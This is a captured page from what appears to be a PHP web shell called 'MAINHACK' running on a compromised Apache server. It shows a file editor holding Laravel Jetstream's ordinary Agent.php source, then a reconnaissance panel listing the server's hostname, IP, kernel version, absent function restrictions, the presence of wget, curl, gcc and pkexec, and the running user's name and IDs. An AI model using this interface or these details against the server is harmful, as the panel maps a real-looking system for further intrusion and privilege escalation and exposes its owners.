[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: Agent.php
<?php namespace Laravel\Jetstream; use Closure; use Detection\MobileDetect; /** * @copyright Originally created by Jens Segers: https://github.com/jenssegers/agent */ class Agent extends MobileDetect { /** * List of additional operating systems. * * @var array<string, string> */ protected static $additionalOperatingSystems = [ 'Windows' => 'Windows', 'Windows NT' => 'Windows NT', 'OS X' => 'Mac OS X', 'Debian' => 'Debian', 'Ubuntu' => 'Ubuntu', 'Macintosh' => 'PPC', 'OpenBSD' => 'OpenBSD', 'Linux' => 'Linux', 'ChromeOS' => 'CrOS', ]; /** * List of additional browsers. * * @var array<string, string> */ protected static $additionalBrowsers = [ 'Opera Mini' => 'Opera Mini', 'Opera' => 'Opera|OPR', 'Edge' => 'Edge|Edg', 'Coc Coc' => 'coc_coc_browser', 'UCBrowser' => 'UCBrowser', 'Vivaldi' => 'Vivaldi', 'Chrome' => 'Chrome', 'Firefox' => 'Firefox', 'Safari' => 'Safari', 'IE' => 'MSIE|IEMobile|MSIEMobile|Trident/[.0-9]+', 'Netscape' => 'Netscape', 'Mozilla' => 'Mozilla', 'WeChat' => 'MicroMessenger', ]; /** * Key value store for resolved strings. * * @var array<string, mixed> */ protected $store = []; /** * Get the platform name from the User Agent. * * @return string|null */ public function platform() { return $this->retrieveUsingCacheOrResolve('jetstream.platform', function () { return $this->findDetectionRulesAgainstUserAgent( $this->mergeRules(MobileDetect::getOperatingSystems(), static::$additionalOperatingSystems) ); }); } /** * Get the browser name from the User Agent. * * @return string|null */ public function browser() { return $this->retrieveUsingCacheOrResolve('jetstream.browser', function () { return $this->findDetectionRulesAgainstUserAgent( $this->mergeRules(static::$additionalBrowsers, MobileDetect::getBrowsers()) ); }); } /** * Determine if the device is a desktop computer. * * @return bool */ public function isDesktop() { return $this->retrieveUsingCacheOrResolve('jetstream.desktop', function () { // Check specifically for cloudfront headers if the useragent === 'Amazon CloudFront' if ( $this->getUserAgent() === static::$cloudFrontUA && $this->getHttpHeader('HTTP_CLOUDFRONT_IS_DESKTOP_VIEWER') === 'true' ) { return true; } return ! $this->isMobile() && ! $this->isTablet(); }); } /** * Match a detection rule and return the matched key. * * @return string|null */ protected function findDetectionRulesAgainstUserAgent(array $rules) { $userAgent = $this->getUserAgent(); foreach ($rules as $key => $regex) { if (empty($regex)) { continue; } if ($this->match($regex, $userAgent)) { return $key ?: reset($this->matchesArray); } } return null; } /** * Retrieve from the given key from the cache or resolve the value. * * @param string $key * @param \Closure():mixed $callback * @return mixed */ protected function retrieveUsingCacheOrResolve(string $key, Closure $callback) { $cacheKey = $this->createCacheKey($key); if (! is_null($cacheItem = $this->store[$cacheKey] ?? null)) { return $cacheItem; } return tap(call_user_func($callback), function ($result) use ($cacheKey) { $this->store[$cacheKey] = $result; }); } /** * Merge multiple rules into one array. * * @param array $all * @return array<string, string> */ protected function mergeRules(...$all) { $merged = []; foreach ($all as $rules) { foreach ($rules as $key => $value) { if (empty($merged[$key])) { $merged[$key] = $value; } elseif (is_array($merged[$key])) { $merged[$key][] = $value; } else { $merged[$key] .= '|'.$value; } } } return $merged; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.9 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002